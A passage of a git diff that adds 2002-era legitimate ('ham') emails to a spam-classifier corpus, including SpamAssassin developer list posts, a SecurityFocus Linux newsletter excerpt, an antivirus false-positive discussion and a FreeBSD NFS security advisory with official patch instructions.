Identd is an open source Ident server designed to return the same +information to all incoming requests. It is implemented by Tomi Ollila, +and available for Linux and a number of other Unix based operating +systems. + +Reportedly, some versions of Fake Identd fail to properly handle long +client requests. A specially formatted request split across multiple TCP +packets may cause an internal buffer to overflow. Reportedly, execution of +arbitrary code as the Fake Identd server process is possible. + +Fake Identd is designed to drop privileges. However, it has also been +reported that this behavior is flawed in some versions. As a result, +exploitation may result in the execution of code with root privileges. + + +III. LINUX FOCUS LIST SUMMARY +--------------------------------- +1. LDAP Auth? (Thread) +Relevant URL: + +http://online.securityfocus.com/archive/91/285167 + +2. LDAP auth (Thread) +Relevant URL: + +http://online.securityfocus.com/archive/91/285168 + +3. Administrivia: Gone Fishin' (Thread) +Relevant URL: + +http://online.securityfocus.com/archive/91/285159 + + +IV. NEW PRODUCTS FOR LINUX PLATFORMS +------------------------------------ +1. Gateway Guardian +by NetMaster Networking Solutions, Inc. +Platforms: Linux +Relevant URL: +http://www.netmaster.com/products/gatewayguardian.html +Summary: + +Developed with NetMaster's own Linux distribution tailored specifically +for firewall applications, Gateway Guardian is a very flexible, high-end +firewall that takes a revolutionary approach to allowing a company to use +a lower-end PC as their Internet gateway. Running on a PC that is not the +Internet gateway, Gateway Guardian uses a pure Java application to +preconfigure hardware, Internet provider settings, and firewall rules +through a wizard like format. When the information has been entered, the +Java application writes an entire Linux operating system and the custom +firewall configuration onto a 3-1/4" floppy diskette. + +2. PakSecured Linux +by Paktronix Systems +Platforms: Linux +Relevant URL: +http://www.paktronix.com/products/paklinux.php +Summary: + +PakSecured Linux PakSecured Linux is currently the only complete Policy +Routing Operating System with a broad computing platform base. Based on +the Linux OS, PakSecured Linux runs on all processor families capable of +running the Linux kernel. Policy Routing encompasses Quality of Service +(QoS), Advanced TCP/IP routing of IPv4 and IPv6, IPSec encryption and VPN +structures, Bandwidth Allocation and Traffic Shaping, and Address +Allocation features such as NAT and IP Masquerade. While these features +are available independently in various products, PakSecured Linux +implements the full range of Policy Routing. All of these features are +integrated into a hardened OS distribution designed to operate in hostile +network environments. PakSecured Linux has no desktop or user based +functionality and is specifically targeted at servers with a need for high +security, 24x7 uptime, and which are required to run without operator +intervention. Coupling these needs with the flexibility and power of a +complete Policy Routing structure puts PakSecured Linux into a unique +niche. + +3. Progressive Systems VPN +by Progressive Systems +Platforms: Linux, Propietary Hardware +Relevant URL: +http://www.progressive-systems.com/products/vpn/ +Summary: + +Progressive Systems VPN is a remote access VPN designed to let you quickly +and securely allow remote network access to whomever you choose, and to +only those you allow. Progressive Systems VPN features SmartGate from +V-One. SmartGate is the market share leading extranet VPN product now +available for Linux or as an appliance through Progressive Systems. + + +V. NEW TOOLS FOR LINUX PLATFORMS +-------------------------------- +1. Astaro Security Linux (Stable 3.x) v3.202 +by astaro +Relevant URL: +http://www.astaro.com/products/index.html +Platforms: Linux, POSIX +Summary: + +Astaro Security Linux is a firewall solution. It does stateful packet +inspection filtering, content filtering, user authentication, virus +scanning, VPN with IPSec and PPTP, and much more. With its Web-based +management tool, WebAdmin, and the ability to pull updates via the +Internet, it is pretty easy to manage. It is based on a special hardened +Linux 2.4 distribution where most daemons are running in change-roots and +are protected by kernel capabilities. + +2. FCheck 2.07.59 +by Michael A. Gumienny +Relevant URL: +http://www.geocities.com/fcheck2000/FCheck_2.07.59.tar.gz +Platforms: AIX, BSDI, DG-UX, Digital UNIX/Alpha, FreeBSD, HP-UX, Linux, +NetBSD, OpenBSD, Perl (any system supporting perl), SCO, Solaris, SunOS, +UNIX, Unixware, Windows 2000, Windows 3.x, Windows 95/98, Windows NT +Summary: + +FCHECK is a very stable PERL script written to generate and comparatively +monitor a UNIX system against its baseline for any file alterations and +report them through syslog, console, or any log monitoring interface. +Monitoring events can be done in as little as one minute intervals if a +system's drive space is small enough, making it very difficult to +circumvent. This is a freely-available open-source alternative to +'tripwire' that is time tested, and is easier to configure and use. + +3. The @stake Sleuth Kit (TASK) v1.50 +by @stake +Relevant uRL: +http://www.atstake.com/research/tools/task/ +Platforms: FreeBSD, Linux, MacOS, OpenBSD, Solaris +Summary: + +The @stake Sleuth Kit (TASK) is the only open source forensic toolkit for +a complete analysis of Microsoft and UNIX file systems. TASK enables +investigators to identify and recover evidence from images acquired during +incident response or from live systems. TASK is also open source, allowing +investigators to verify the actions of the tool or customize it to +specific needs. + + +VI. SPONSORSHIP INFORMATION +--------------------------- +This newsletter is sponsored by: SecurityFocus DeepSight Threat Management +System + +>>From June 24th - August 31st, 2002, SecurityFocus announces a FREE +two-week trial of the DeepSight Threat Management System: the only early +warning system providing customizable and comprehensive early warning of +cyber attacks and bulletproof countermeasures to prevent attacks before +they hit your network. + +With the DeepSight Threat Management System, you can focus on proactively +deploying prioritized and specific patches to protect your systems from +attacks, rather than reactively searching dozens of Web sites or hundreds +of emails frantically trying to gather information on the attack and how +to recover from it. + +Sign up today! +http://www.securityfocus.com/corporate/products/promo/tmstrial-lx.shtml +------------------------------------------------------------------------------- + + diff --git a/bayes/spamham/easy_ham_2/01346.aa3fbf33029311844175e5d6a87aece9 b/bayes/spamham/easy_ham_2/01346.aa3fbf33029311844175e5d6a87aece9 new file mode 100644 index 0000000..a80470d --- /dev/null +++ b/bayes/spamham/easy_ham_2/01346.aa3fbf33029311844175e5d6a87aece9 @@ -0,0 +1,73 @@ +Return-Path: yyyy +Delivery-Date: Tue Aug 6 17:06:12 2002 +Return-Path: +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Tue, 06 Aug 2002 17:06:12 +0100 (IST) +Received: from usw-sf-list2.sourceforge.net (usw-sf-fw2.sourceforge.net + [216.136.171.252]) by dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id + g76G5Uk08546 for ; Tue, 6 Aug 2002 17:05:30 +0100 +Received: from usw-sf-list1-b.sourceforge.net ([10.3.1.13] + helo=usw-sf-list1.sourceforge.net) by usw-sf-list2.sourceforge.net with + esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17c6nY-0000CX-00; Tue, + 06 Aug 2002 09:03:04 -0700 +Received: from [194.165.165.199] (helo=mandark.labs.netnoteinc.com) by + usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id + 17c6n2-00057Y-00 for ; + Tue, 06 Aug 2002 09:02:33 -0700 +Received: from phobos.labs.netnoteinc.com (phobos.labs.netnoteinc.com + [192.168.2.14]) by mandark.labs.netnoteinc.com (8.11.6/8.11.6) with ESMTP + id g76G2Np24016 for ; + Tue, 6 Aug 2002 17:02:23 +0100 +Received: by phobos.labs.netnoteinc.com (Postfix, from userid 500) id + EE6CA44126; Tue, 6 Aug 2002 10:06:32 -0400 (EDT) +Received: from phobos (localhost [127.0.0.1]) by + phobos.labs.netnoteinc.com (Postfix) with ESMTP id E9C7333F85 for + ; Tue, 6 Aug 2002 15:06:32 +0100 (IST) +To: SpamAssassin-talk@example.sourceforge.net +From: yyyy@spamassassin.taint.org (Justin Mason) +X-GPG-Key-Fingerprint: 0A48 2D8B 0B52 A87D 0E8A 6ADD 4137 1B50 6E58 EF0A +X-Image-Url: http://spamassassin.taint.org/me.jpg +Message-Id: <20020806140632.EE6CA44126@phobos.labs.netnoteinc.com> +Subject: [SAtalk] BIG CHANGE coming up in cvs +Sender: spamassassin-talk-admin@example.sourceforge.net +Errors-To: spamassassin-talk-admin@example.sourceforge.net +X-Beenthere: spamassassin-talk@example.sourceforge.net +X-Mailman-Version: 2.0.9-sf.net +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , + +List-Id: Talk about SpamAssassin +List-Unsubscribe: , + +List-Archive: +X-Original-Date: Tue, 06 Aug 2002 15:06:27 +0100 +Date: Tue, 06 Aug 2002 15:06:27 +0100 + +CVS users: heads up! I think we've been talking about it long enough, so +we might as well check it in now. It's about time to check in +http://bugzilla.spamassassin.org/show_bug.cgi?id=546 + +This change will *remove* support for delivery to a local mailbox (ie the +default mode of operation when "spamassassin" is run). + +In addition, the "From " line will no longer be added to mails as a +result. + +--j. + +-- +'Justin Mason' => { url => http://jmason.org/ , blog => http://taint.org/ } + + +------------------------------------------------------- +This sf.net email is sponsored by:ThinkGeek +Welcome to geek heaven. +http://thinkgeek.com/sf +_______________________________________________ +Spamassassin-talk mailing list +Spamassassin-talk@lists.sourceforge.net +https://lists.sourceforge.net/lists/listinfo/spamassassin-talk + diff --git a/bayes/spamham/easy_ham_2/01347.384098ec9f6f68cb98b23c7d27bed499 b/bayes/spamham/easy_ham_2/01347.384098ec9f6f68cb98b23c7d27bed499 new file mode 100644 index 0000000..eb3f0b2 --- /dev/null +++ b/bayes/spamham/easy_ham_2/01347.384098ec9f6f68cb98b23c7d27bed499 @@ -0,0 +1,83 @@ +Return-Path: yyyy +Delivery-Date: Tue Aug 6 17:06:20 2002 +Return-Path: +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Tue, 06 Aug 2002 17:06:20 +0100 (IST) +Received: from usw-sf-list2.sourceforge.net (usw-sf-fw2.sourceforge.net + [216.136.171.252]) by dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id + g76G62k08769 for ; Tue, 6 Aug 2002 17:06:02 +0100 +Received: from usw-sf-list1-b.sourceforge.net ([10.3.1.13] + helo=usw-sf-list1.sourceforge.net) by usw-sf-list2.sourceforge.net with + esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17c6nW-0000Bd-00; Tue, + 06 Aug 2002 09:03:02 -0700 +Received: from [194.165.165.199] (helo=mandark.labs.netnoteinc.com) by + usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id + 17c6n2-00057X-00 for ; + Tue, 06 Aug 2002 09:02:32 -0700 +Received: from phobos.labs.netnoteinc.com (phobos.labs.netnoteinc.com + [192.168.2.14]) by mandark.labs.netnoteinc.com (8.11.6/8.11.6) with ESMTP + id g76G2Np24031; Tue, 6 Aug 2002 17:02:23 +0100 +Received: by phobos.labs.netnoteinc.com (Postfix, from userid 500) id + B11D9440E9; Tue, 6 Aug 2002 09:19:03 -0400 (EDT) +Received: from phobos (localhost [127.0.0.1]) by + phobos.labs.netnoteinc.com (Postfix) with ESMTP id AC6B0341C3; + Tue, 6 Aug 2002 14:19:03 +0100 (IST) +To: Marc Perkel +Cc: spamassassin-devel@example.sourceforge.net +Subject: Re: [SAdev] Adding Scripting to Spam Assassin +In-Reply-To: Message from Marc Perkel of + "Sat, 03 Aug 2002 09:13:43 PDT." + <3D4C0137.9010508@perkel.com> +From: yyyy@spamassassin.taint.org (Justin Mason) +X-GPG-Key-Fingerprint: 0A48 2D8B 0B52 A87D 0E8A 6ADD 4137 1B50 6E58 EF0A +Message-Id: <20020806131903.B11D9440E9@phobos.labs.netnoteinc.com> +Sender: spamassassin-devel-admin@example.sourceforge.net +Errors-To: spamassassin-devel-admin@example.sourceforge.net +X-Beenthere: spamassassin-devel@example.sourceforge.net +X-Mailman-Version: 2.0.9-sf.net +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , + +List-Id: SpamAssassin Developers +List-Unsubscribe: , + +List-Archive: +X-Original-Date: Tue, 06 Aug 2002 14:18:58 +0100 +Date: Tue, 06 Aug 2002 14:18:58 +0100 + + +Marc -- + +Since perl itself is a scripting language, and allows code to be eval'ed, +I can't see why we need to go the whole hog and implement another +turing-complete scripting language in perl. + +Let's go back to *why* this would be useful. As far as I can see, you're +proposing this to deal with multi-match rules. There's already a tracker +in the bug DB for these, with a proposed implementation. + + http://www.hughes-family.org/bugzilla/show_bug.cgi?id=47 + +I think this might have stalled due to shortcomings in the existnig +proposal, so I've just added my own thoughts on how to implement them. ;) +Comments on the proposed system would be welcome folks.... reply to the +bug db. + +--j. + +-- +'Justin Mason' => { url => http://jmason.org/ , blog => http://taint.org/ } + + +------------------------------------------------------- +This sf.net email is sponsored by:ThinkGeek +Welcome to geek heaven. +http://thinkgeek.com/sf +_______________________________________________ +Spamassassin-devel mailing list +Spamassassin-devel@lists.sourceforge.net +https://lists.sourceforge.net/lists/listinfo/spamassassin-devel + diff --git a/bayes/spamham/easy_ham_2/01348.097c29b68042a1d73710d49021577739 b/bayes/spamham/easy_ham_2/01348.097c29b68042a1d73710d49021577739 new file mode 100644 index 0000000..06c778d --- /dev/null +++ b/bayes/spamham/easy_ham_2/01348.097c29b68042a1d73710d49021577739 @@ -0,0 +1,96 @@ +From focus-virus-return-1680-legit-lists-secfocus=jmason.org@securityfocus.com Tue Aug 6 18:32:06 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 66C2F440C9 + for ; Tue, 6 Aug 2002 13:32:01 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Tue, 06 Aug 2002 18:32:01 +0100 (IST) +Received: from outgoing.securityfocus.com (outgoing2.securityfocus.com + [66.38.151.26]) by dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id + g76HSEk12325 for ; Tue, 6 Aug 2002 + 18:28:14 +0100 +Received: from lists.securityfocus.com (lists.securityfocus.com + [66.38.151.19]) by outgoing.securityfocus.com (Postfix) with QMQP id + BE83F8F30B; Tue, 6 Aug 2002 10:07:50 -0600 (MDT) +Mailing-List: contact focus-virus-help@securityfocus.com; run by ezmlm +Precedence: bulk +List-Id: +List-Post: +List-Help: +List-Unsubscribe: +List-Subscribe: +Delivered-To: mailing list focus-virus@securityfocus.com +Delivered-To: moderator for focus-virus@securityfocus.com +Received: (qmail 13368 invoked from network); 6 Aug 2002 16:02:43 -0000 +Reply-To: +From: "Peter Kruse" +To: "'Thor Larholm'" , , + +Subject: SV: More content filtering woes +Date: Tue, 6 Aug 2002 18:11:54 +0200 +Organization: Railroad.dk +Message-Id: <000a01c23d63$fbd0d8a0$65fda8c0@teliahomebase> +MIME-Version: 1.0 +Content-Type: text/plain; charset="US-ASCII" +Content-Transfer-Encoding: 7bit +X-Priority: 3 (Normal) +X-Msmail-Priority: Normal +X-Mailer: Microsoft Outlook, Build 10.0.2627 +X-Mimeole: Shadowed by Kruse to protect my privacy +Importance: Normal +In-Reply-To: <52D05AEFB0D95C4BAD179A054A54CDEB03470B8B@mailsrv1.jubii.dk> + +Hi Thor, + +[Still trying to catch my breath] :-) + +I guess there's no easy way to avoid this. In order to proactively +protect endusers they'll need to put such code (or part of it) into +their defs. Since antivirus products still gets smarter and smarter and +heuristics are getting better and better the odds aginst not running +into false positives are poor. Some products will woe plenty of these +some are better to avoid the madness (!). I'll leave you to do the test. +Consider that corporate and endusers are most likely using Microsoft +software without updating as they should. AV-software is now trying to +protect these poor souls adding proxy functionality to catch e.g. +malicious content in HTML based e-mails and for a good reason. Looking +at http://www.pivx.com/larholm/unpatched/ says it all! ;-) + +Med venlig hilsen // Kind regards + +Peter Kruse +Security- and Virusanalyst +Telia @ Security +http://www.teliainternet.dk +Member of AVIEN and FIRST + +> -----Oprindelig meddelelse----- +> Fra: Thor Larholm [mailto:Thor@jubii.dk] +> Sendt: 5. august 2002 10:13 +> Til: 'nick@virus-l.demon.co.uk'; FOCUS-VIRUS@SECURITYFOCUS.COM +> Emne: RE: More content filtering woes +> +> +> What I find even more annoying is the horde of false +> positives that antivirus software constantly yaps one about +> each time one sends some demonstratory POC to a mailinglist +> only to have several witless antivirus vendors add ones POC +> to their virus library, yielding tons of "Quarantined" +> replies on a daily basis without any added level of security +> to the enduser whatsoever since any reallife exploitation +> would yield a completely different signature, thus defeating +> the purpose of adding ones signature. +> +> *phew* That could have used some punctuation. :) +> +> +> +> +> Regards +> Thor Larholm +> Jubii A/S - Internet Programmer +> + + diff --git a/bayes/spamham/easy_ham_2/01349.22ea9f2c5d135c39d01f56c830b15e41 b/bayes/spamham/easy_ham_2/01349.22ea9f2c5d135c39d01f56c830b15e41 new file mode 100644 index 0000000..f7af2a0 --- /dev/null +++ b/bayes/spamham/easy_ham_2/01349.22ea9f2c5d135c39d01f56c830b15e41 @@ -0,0 +1,138 @@ +From bugtraq-return-5951-legit-lists-secfocus=jmason.org@securityfocus.com Tue Aug 6 18:32:08 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 2B17B440CD + for ; Tue, 6 Aug 2002 13:32:02 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Tue, 06 Aug 2002 18:32:02 +0100 (IST) +Received: from outgoing.securityfocus.com (outgoing2.securityfocus.com + [66.38.151.26]) by dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id + g76HWck12384 for ; Tue, 6 Aug 2002 + 18:32:38 +0100 +Received: from lists.securityfocus.com (lists.securityfocus.com + [66.38.151.19]) by outgoing.securityfocus.com (Postfix) with QMQP id + CEDFB8F371; Tue, 6 Aug 2002 09:16:23 -0600 (MDT) +Mailing-List: contact bugtraq-help@securityfocus.com; run by ezmlm +Precedence: bulk +List-Id: +List-Post: +List-Help: +List-Unsubscribe: +List-Subscribe: +Delivered-To: mailing list bugtraq@securityfocus.com +Delivered-To: moderator for bugtraq@securityfocus.com +Received: (qmail 10791 invoked from network); 6 Aug 2002 00:35:59 -0000 +Date: Mon, 5 Aug 2002 16:50:07 -0700 (PDT) +Message-Id: <200208052350.g75No7Yw097463@freefall.freebsd.org> +X-Authentication-Warning: freefall.freebsd.org: nectar set sender to + security-advisories@freebsd.org using -f +From: FreeBSD Security Advisories +To: Bugtraq +Subject: FreeBSD Security Advisory FreeBSD-SA-02:36.nfs +Reply-To: security-advisories@freebsd.org + +-----BEGIN PGP SIGNED MESSAGE----- + +============================================================================= +FreeBSD-SA-02:36.nfs Security Advisory + The FreeBSD Project + +Topic: Bug in NFS server code allows remote denial of service + +Category: core +Module: nfs +Announced: 2002-08-05 +Credits: Mike Junk +Affects: All releases prior to 4.6.1-RELEASE-p7 + 4.6-STABLE prior to the correction date +Corrected: 2002-07-19 17:19:53 UTC (RELENG_4) + 2002-08-01 19:31:55 UTC (RELENG_4_6) + 2002-08-01 19:31:54 UTC (RELENG_4_5) + 2002-08-01 19:31:54 UTC (RELENG_4_4) +FreeBSD only: NO + +I. Background + +The Network File System (NFS) allows a host to export some or all of +its filesystems, or parts of them, so that other hosts can access them +over the network and mount them as if they were on local disks. NFS is +built on top of the Sun Remote Procedure Call (RPC) framework. + +II. Problem Description + +A part of the NFS server code charged with handling incoming RPC +messages had an error which, when the server received a message with a +zero-length payload, would cause it to reference the payload from the +previous message, creating a loop in the message chain. This would +later cause an infinite loop in a different part of the NFS server +code which tried to traverse the chain. + +III. Impact + +Certain Linux implementations of NFS produce zero-length RPC messages +in some cases. A FreeBSD system running an NFS server may lock up +when such clients connect. + +An attacker in a position to send RPC messages to an affected FreeBSD +system can construct a sequence of malicious RPC messages that cause +the target system to lock up. + +IV. Workaround + +1) Disable the NFS server: set the nfs_server_enable variable to "NO" + in /etc/rc.conf, and reboot. + + Alternatively, if there are no active NFS clients (as listed by the + showmount(8) utility), just killing the mountd and nfsd processes + should suffice. + +2) Add firewall rules to block RPC traffic to the NFS server from + untrusted hosts. + +V. Solution + +The following patch has been verified to apply to FreeBSD 4.4, 4.5, and +4.6 systems. + +a) Download the relevant patch from the location below, and verify the +detached PGP signature using your PGP utility. + +# fetch ftp://ftp.FreeBSD.org/pub/FreeBSD/CERT/patches/SA-02:36/nfs.patch +# fetch ftp://ftp.FreeBSD.org/pub/FreeBSD/CERT/patches/SA-02:36/nfs.patch.asc + +b) Apply the patch. + +# cd /usr/src +# patch < /path/to/patch + +c) Recompile your kernel and modules as described in + and reboot the +system. + +VI. Correction details + +The following list contains the revision numbers of each file that was +corrected in FreeBSD. + +Path Revision + Branch +- ------------------------------------------------------------------------- +src/sys/nfs/nfs_socket.c + RELENG_4 1.60.2.5 + RELENG_4_6 1.60.2.3.2.1 + RELENG_4_5 1.60.2.1.6.1 + RELENG_4_4 1.60.2.3.4.1 +- ------------------------------------------------------------------------- +-----BEGIN PGP SIGNATURE----- +Version: GnuPG v1.0.7 (FreeBSD) + +iQCVAwUBPU8NTVUuHi5z0oilAQHMZAP+L80QudeELKHfZYxG5PPf6cuWkreACavl +LP1oJDHLWuw32K4tM0Y+v505t+U2/wGnl2dSqwkfemzxlhzfsmrbubQx8EFgO6sb +nhEEtSfu4t81ylHTY+qEWFtRweB5A1tGJaYV67wybWZxulkYJ9qnRLKF4PToc0E3 +T1Y/CN0DNYA= +=2YSa +-----END PGP SIGNATURE----- + + diff --git a/bayes/spamham/easy_ham_2/01350.089851ea485ec58d231d53908231de85 b/bayes/spamham/easy_ham_2/01350.089851ea485ec58d231d53908231de85 new file mode 100644 index 0000000..c7049e1 --- /dev/null +++ b/bayes/spamham/easy_ham_2/01350.089851ea485ec58d231d53908231de85 @@ -0,0 +1,59 @@ +From craig@deersoft.com Tue Aug 6 22:50:20 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id B1BCA440C8 + for ; Tue, 6 Aug 2002 17:50:20 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Tue, 06 Aug 2002 22:50:20 +0100 (IST) +Received: from maynard.mail.mindspring.net (maynard.mail.mindspring.net + [207.69.200.243]) by dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id + g76Lkvk20040 for ; Tue, 6 Aug 2002 22:46:58 +0100 +Received: from user-1121e1b.dsl.mindspring.com ([66.32.184.43] + helo=belphegore.hughes-family.org) by maynard.mail.mindspring.net with + esmtp (Exim 3.33 #1) id 17cC8v-0003oH-00; Tue, 06 Aug 2002 17:45:29 -0400 +Received: from balam.hughes-family.org + (adsl-67-118-234-50.dsl.pltn13.pacbell.net [67.118.234.50]) by + belphegore.hughes-family.org (Postfix) with ESMTP id E4A6F92774; + Tue, 6 Aug 2002 14:45:26 -0700 (PDT) +Date: Tue, 6 Aug 2002 14:45:23 -0700 +Subject: Re: [SAtalk] BIG CHANGE coming up in cvs +Content-Type: text/plain; charset=US-ASCII; format=flowed +MIME-Version: 1.0 (Apple Message framework v482) +Cc: SpamAssassin-talk@example.sourceforge.net +To: yyyy@spamassassin.taint.org (Justin Mason) +From: "Craig R.Hughes" +In-Reply-To: <20020806171934.7D996440A8@phobos.labs.netnoteinc.com> +Message-Id: +Content-Transfer-Encoding: 7bit +X-Mailer: Apple Mail (2.482) + + +On Tuesday, August 6, 2002, at 10:19 AM, Justin Mason wrote: + +> +> "Craig R.Hughes" said: +> +>> Excellent. After that, I'd suggest we work on stabilizing (ie +>> no new features) for a bit, and getting 2.40 released. I think +>> we're in reasonably good shape now with 2.40 (plus or minus some +>> build issues occasionally creeping in), and Razor2 is starting +>> to get a little less flakey (minus one or two server issues in +>> the last few days). +> +> Yeah, I agree. Although note: I'd like to see the proposal to use +> Received IPs in the AWL, get into 2.40 too. That's being actively +> exploited right now. + +Yeah, AWL IPs is a good thing for 2.40 + +> Razor2 is definitely getting solid, and getting some good hits too! + +When it works, yeah. But it's so flakey I have to turn it off +so that my mail can be guaranteed to actually get through in a +decent timeframe. + +C + + diff --git a/bayes/spamham/easy_ham_2/01351.9fae8f2dd157790b40cbab58163e2280 b/bayes/spamham/easy_ham_2/01351.9fae8f2dd157790b40cbab58163e2280 new file mode 100644 index 0000000..9f09e96 --- /dev/null +++ b/bayes/spamham/easy_ham_2/01351.9fae8f2dd157790b40cbab58163e2280 @@ -0,0 +1,51 @@ +From updates-admin@ximian.com Wed Aug 7 00:15:55 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id B114E440A8 + for ; Tue, 6 Aug 2002 19:15:55 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Wed, 07 Aug 2002 00:15:55 +0100 (IST) +Received: from trna.ximian.com (trna.ximian.com [141.154.95.22]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g76NF4k23125; + Wed, 7 Aug 2002 00:15:04 +0100 +Received: from trna.ximian.com (localhost [127.0.0.1]) by trna.ximian.com + (8.11.6/8.11.6) with ESMTP id g76Lb9332558; Tue, 6 Aug 2002 17:38:29 -0400 +Received: from peabody.ximian.com (peabody.ximian.com [141.154.95.10]) by + trna.ximian.com (8.11.6/8.11.6) with ESMTP id g76L3I326682 for + ; Tue, 6 Aug 2002 17:03:18 -0400 +Date: Tue, 6 Aug 2002 17:03:18 -0400 +Message-Id: <200208062103.g76L3I326682@trna.ximian.com> +Received: (qmail 17845 invoked from network); 6 Aug 2002 21:03:01 -0000 +Received: from localhost (127.0.0.1) by localhost with SMTP; + 6 Aug 2002 21:03:01 -0000 +From: Ximian GNOME Security Team +To: Ximian Updates +Subject: [Ximian Updates] Ximian Security Updates +Sender: updates-admin@ximian.com +Errors-To: updates-admin@ximian.com +X-Mailman-Version: 1.1 +Precedence: bulk +List-Id: Announcements about updates to the Ximian GNOME distribution. + +X-Beenthere: updates@ximian.com + +The Ximian Security Team has been issuing advisories for security +problems in Ximian GNOME for some time now at this URL: + +http://support.ximian.com/s?&p_cat_lvl1=12 + +Starting today we will begin to also email security advisories to +this list (updates@ximian.com) to raise the awareness of potential +problems. + +The Ximian Security Team + + +_______________________________________________ +updates maillist - updates@ximian.com +http://lists.ximian.com/mailman/listinfo/updates +Please DO NOT reply to this list! Use bugs@helixcode.com or hello@helixcode.com instead. + + diff --git a/bayes/spamham/easy_ham_2/01352.2df540c1e8fece832e0a869d30d04ec4 b/bayes/spamham/easy_ham_2/01352.2df540c1e8fece832e0a869d30d04ec4 new file mode 100644 index 0000000..0832f94 --- /dev/null +++ b/bayes/spamham/easy_ham_2/01352.2df540c1e8fece832e0a869d30d04ec4 @@ -0,0 +1,47 @@ +From pudge@perl.org Wed Aug 7 03:02:02 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 7E0E8440C8 + for ; Tue, 6 Aug 2002 22:02:02 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Wed, 07 Aug 2002 03:02:02 +0100 (IST) +Received: from cpu59.osdn.com (slashdot.org [64.28.67.73] (may be forged)) + by dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g77220k04020 for + ; Wed, 7 Aug 2002 03:02:00 +0100 +Received: from [10.2.181.14] (helo=perl.org) by cpu59.osdn.com with smtp + (Exim 3.35 #1 (Debian)) id 17cG7G-0000df-00 for ; + Tue, 06 Aug 2002 22:00:02 -0400 +Date: Wed, 07 Aug 2002 02:00:22 +0000 +From: pudge@perl.org +Subject: [use Perl] Headlines for 2002-08-07 +To: yyyy-use-perl@spamassassin.taint.org +Precedence: list +X-Bulkmail: 2.051 +Message-Id: + +use Perl Daily Headline Mailer + +Underground Movies of My Talks? + posted by pudge on Tuesday August 06, @06:23 (others) + http://use.perl.org/article.pl?sid=02/08/05/1323232 + + + + +Copyright 1997-2002 pudge. All rights reserved. + + +====================================================================== + +You have received this message because you subscribed to it +on use Perl. To stop receiving this and other +messages from use Perl, or to add more messages +or change your preferences, please go to your user page. + + http://use.perl.org/my/messages/ + +You can log in and change your preferences from there. + + diff --git a/bayes/spamham/easy_ham_2/01353.de61bda933dc0bae0ddc630398d7b62f b/bayes/spamham/easy_ham_2/01353.de61bda933dc0bae0ddc630398d7b62f new file mode 100644 index 0000000..ac7f796 --- /dev/null +++ b/bayes/spamham/easy_ham_2/01353.de61bda933dc0bae0ddc630398d7b62f @@ -0,0 +1,64 @@ +From pudge@perl.org Wed Aug 7 03:02:06 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id F029C440C9 + for ; Tue, 6 Aug 2002 22:02:02 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Wed, 07 Aug 2002 03:02:02 +0100 (IST) +Received: from cpu59.osdn.com (slashdot.org [64.28.67.73] (may be forged)) + by dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g77224k04031 for + ; Wed, 7 Aug 2002 03:02:04 +0100 +Received: from [10.2.181.14] (helo=perl.org) by cpu59.osdn.com with smtp + (Exim 3.35 #1 (Debian)) id 17cG7M-0000ij-01 for ; + Tue, 06 Aug 2002 22:00:08 -0400 +Date: Wed, 07 Aug 2002 02:00:28 +0000 +From: pudge@perl.org +Subject: [use Perl] Stories for 2002-08-07 +To: yyyy-use-perl@spamassassin.taint.org +Precedence: list +X-Bulkmail: 2.051 +Message-Id: + +use Perl Daily Newsletter + +In this issue: + * Underground Movies of My Talks? + ++--------------------------------------------------------------------+ +| Underground Movies of My Talks? | +| posted by pudge on Tuesday August 06, @06:23 (others) | +| http://use.perl.org/article.pl?sid=02/08/05/1323232 | ++--------------------------------------------------------------------+ + +[0]Dominus writes "At my talks at TPC this year I noticed people in the +audience with video recorders. That's fine with me, but now I want to see +the recordings! I saw at least two people recording 'Mailing List Judo' +and 'Conference Presentation Judo.' If you do have a video, please drop +me a note. Thanks." I wouldn't mind an audio or video recording of my +YAPC talk either, if someone had such a beast. + +Discuss this 